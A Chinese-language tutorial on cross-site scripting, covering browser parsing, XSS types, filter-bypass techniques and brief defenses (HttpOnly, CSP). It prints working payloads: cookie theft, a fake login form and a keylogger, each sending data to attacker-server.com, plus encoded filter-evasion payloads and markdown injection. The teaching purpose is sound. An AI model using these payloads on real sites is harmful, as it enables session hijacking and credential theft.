漏洞分析

image-20260106195838302

浏览器解析前端代码

浏览器的作用:接收用户输入 ==> 发起网络请求 ==> 处理响应内容 ==> 展示处理结果,在整个生命周期内循环地完成这四件事。

浏览器本身是操作系统中的一个类似于python解释器、Java虚拟机的应用程序,可以用来解释代码,并且配合操作系统将代码编译成二进制,最终转换为高低电平输入给各个硬件,最终完成程序的执行,最终的结果就是用户在浏览器中看到的所有内容,其中包括浏览器本身以及访问网页后才能看到的界面,浏览器本体我们不做过多研究,这里只讨论网页内容。

前端代码大致分为:HTML/CSS/JavaScript

  1. 渲染引擎

    • 解析:解析HTML,生成DOM树 ==> 解析CSS,生成CSSOM树
    • 合成:DOM + CSSOM ==> RenderTree(渲染树)
    • 布局:计算树节点在整个页面中的精确位置
    • 绘制:在每个位置上绘制对应的像素点,最终构成一个完整的界面

    image-20260107090430000

  2. JS引擎

    • 浏览器中内置了JS引擎(例如,chrome的V8),所以可以执行js代码
    • 现代JS引擎执行js的方式一般为解释+编译:以v8为例,Ignition引擎将js代码编译为内部指令,然后逐行执行,同时具备JIT机制,TurboFan编译器会将热点代码编译成本地机器码缓存起来,后续调用
    • js执行一般是单线程的形式,配合事件循环机制,实现异步操作

    image-20260107090717337

浏览器执行恶意代码

原则上来说,浏览器收到什么样的代码,就执行什么样的功能(当然,浏览器会有一些安全机制,在一定程度上限制某些功能)。个人认为XSS的核心不在于标签本身,而是JS代码,只不过恰好某些标签可以直接或者间接地附带js代码并且执行(虽然可以利用a标签跳转到一个黄页,但并不算是xss的灵魂),例如<a>标签中的href属性,利用javascript:伪协议可以执行js代码;<script>标签中的内容本来就是js代码。

  1. 窃取cookie信息

    1
    2
    3
    4
    <script>
    // 将用户的Cookie发送到攻击者控制的服务器
    fetch('https://attacker-server.com/steal?cookie=' + document.cookie);
    </script>
  2. 会话劫持:用户准备向他的账户充值时,利用js将认证信息替换成攻击者的身份,从而导致用户给攻击者的账号进行了充值

    1
    2
    3
    4
    <script>
    // 使用窃取的Cookie模拟用户登录状态,实际中需要配合后端验证
    localStorage.setItem('authToken', 'stolen_token_value');
    </script>
  3. 钓鱼:伪造登陆框(也可以控制浏览器跳转到钓鱼网站,攻击者利用前端克隆插件将真实网站的登录页面放到服务器上,诱导用户输入账号密码)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <script>
    // 覆盖原有页面内容,显示虚假登录表单
    document.body.innerHTML = `
    <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
    <h2>重新登录</h2>
    <form action="https://attacker-server.com/phish" method="POST">
    <input type="text" name="username" placeholder="用户名" required><br>
    <input type="password" name="password" placeholder="密码" required><br>
    <button type="submit">登录</button>
    </form>
    </div>
    `;
    </script>
  4. 键盘钩子

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <script>
    // 记录用户的键盘输入(简化版)
    let log = "";
    document.addEventListener('keydown', function(event) {
    log += event.key;
    // 定期发送记录的数据
    if(log.length > 50) {
    fetch('https://attacker-server.com/log?keys=' + encodeURIComponent(log));
    log = "";
    }
    });
    </script>
  5. 重定向到恶意网站

    1
    2
    3
    4
    <script>
    // 将用户重定向到恶意网站
    window.location.href = "https://malicious-site.com";
    </script>
  6. 篡改网页内容

  7. 发起CSRF(导致Set-Cookie: domain=*.qq.com这种安全机制失效)

寻找利用

在哪输入

攻击者怎么把这些js代码插入到正常的网页上,核心就是利用输入的内容会出现在前端代码中的一些位置这个功能,这个输入可以使用户手动输入的,也可以是发送请求时浏览器自动附加的一些参数。总之,就是在请求包和响应包中找相同的单词/词语。

  1. 存储型XSS | 网站提供了一个功能:用户A输入 ==> 保存到后端服务器 ==> 返回给用户B,攻击者便可以将恶意JS代码间接地给到用户B,让浏览器执行恶意功能。
    • 评论区:在评论中插入恶意脚本
    • 用户资料:在个人简介、签名档中插入
    • 论坛帖子:在帖子中嵌入恶意代码
    • 留言板:在留言内容中注入
  2. 反射型XSS:用户A输入 ==> 服务器处理但不保存 ==> 将输入放到响应中返回,攻击者将js代码放到get请求中的某个参数里,将链接发送给受害者(post请求的参数不方便发送给用户去触发,当然某些情况下可以将post请求强制改为get请求,后端服务器也接受)
    • 搜索框
    • 错误页面
    • 任何通过URL传递的参数
  3. DOM型XSS:用户A输入 ==> 原来的js代码处理 ==> 浏览器执行,类似于反射型XSS,攻击者都需要将payload直接给到受害者(通常以社工钓鱼的方式传播),而不是像存储型那样,给到网站本身的服务器,有服务器将恶意js代码给到用户的浏览器。但是和反射型xss存在一点不同:反射型XSS是将payload给到服务器处理,而DOM型xss是由当前已经加载的正常JS代码处理。DOM-XSS需要进行JS代码审计,找到js代码中哪些DOM操作用到了用户输入。

输入什么

最终的输入经过上面这几种方式的处理,最终可能会出现在下面几个位置:

  1. 出现在标签内

    • 正常输入

      1
      Hello World  ==>  <p>Hello World</p>
    • 输入标签

      1
      2
      <script>alert(1);</script>  ==>  <p><script>alert(1);</script></p>
      标签是可以嵌套的,浏览器会解析成p标签中嵌套了一个script标签,就会执行js代码
  2. 出现在属性中

    • 正常输入

      1
      aaa  ==>  <div xxx="aaa"></div>
    • 构造属性

      1
      fucnk" onclick="javascript:alert(1)  ==>  <div xxx="fuck" onclick="javascript:alert(1)"></div>
    • 支持伪协议的属性

      1
      2
      3
      4
      5
      6
      7
      8
      9
      href=
      action=
      formaction=
      location=
      src=
      data=
      poster=
      background=
      code=
    • 直接可支持js代码的属性

      1
      所有以on开头的事件处理属性
  3. 出现在JS代码的函数参数中

  4. 出现在JS代码的变量中

攻防对抗

普通文本

  1. 过滤名称

    • 大小写:如将关键字写成SeLeCt、UnIoN,部分仅做简单匹配或仅小写匹配的规则会被绕过。

    • 双写:对“替换为空”的规则,使用 selselectect、ununionion 等,过滤一次后仍能还原出关键字。

      1
      2
      3
      <scri<script>pt>alert("hello world!")</scri</script>pt>
      ==>
      <script>alert("hello world!")</script>
    • 注释

      1
      2
      3
      <scr<!-- test -->ipt>alert(1)</scr<!-- test -->ipt>
      ==>
      <script>alert(1)</script>
    • 字符拼接

      1
      2
      <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
      <script>top["al"+"ert"](`xss`);</script>
    • 编码

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      <!--HTML编码:https://config.net.cn/tools/HtmlEncode.html-->
      <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

      <!--unicode编码-->
      <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

      <!--url编码-->
      <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
      <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

      <!--ASCII编码-->
      <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

      <!--HEX编码-->
      <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

      <!--八进制-->
      <img src=x onerror=alert('\170\163\163')>

      <!--Base64-->
      <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
      <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  2. 过滤空格

    1
    2
    3
    <img/src="x"/onerror=alert("xss");>
    <img%09onerror=alert(1) src=a> <!-- TAB -->
    <img%0aonerror=alert(1) src=a> <!-- 换行 -->
  3. 过滤单双引号

    • 出现在属性中,且不考虑闭合的情况下,可以用反引号代替

      1
      <img src="x" onerror=alert(`xss`);>
    • 整个语句进行编码

  4. 过滤尖括号/HTML实体编码

    1
    <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
  5. 过滤URL地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <!-- URL编码 -->
    <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

    <!-- 十进制IP -->
    <img src="x" onerror=document.location=`http://2130706433/`>

    <!-- 八进制IP -->
    <img src="x" onerror=document.location=`http://0177.0.0.01/`>

    <!-- 十六进制IP -->
    <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

    <!-- 代替http(s):// -->
    <img src="x" onerror=document.location=`//www.baidu.com`>

    <!-- 句号代替点号 -->
    <img src="x" onerror="document.location=`http://www。baidu。com`">

巧用功能点

  1. 利用markdown解析功能

    1
    2
    3
    4
    5
    6
    7
    # 图片引入
    ![显示名称](图片地址) ==> <img alt="显示名称" src="图片地址">
    ![A"onload="alert(1)](javascript:alert(2)) ==> <img alt="A" onload="alert(1)" src="javascript:alert(2)">

    # 超链接
    [链接名称](链接地址) ==> <a src="链接地址">链接名称</a>
    [<script>alert(1)</script>](javascript:alert(2)) ==> <a src="javascript:alert(2)"><script>alert(1)</script></a>

减小危害

  1. Cookie保护:设置Cookie的HttpOnly=true,禁止JavaScript读取Cookie。
  2. 内容安全策略(CSP):通过HTTP头限制脚本加载源(如Content-Security-Policy: default-src 'self'),阻止外部恶意脚本执行。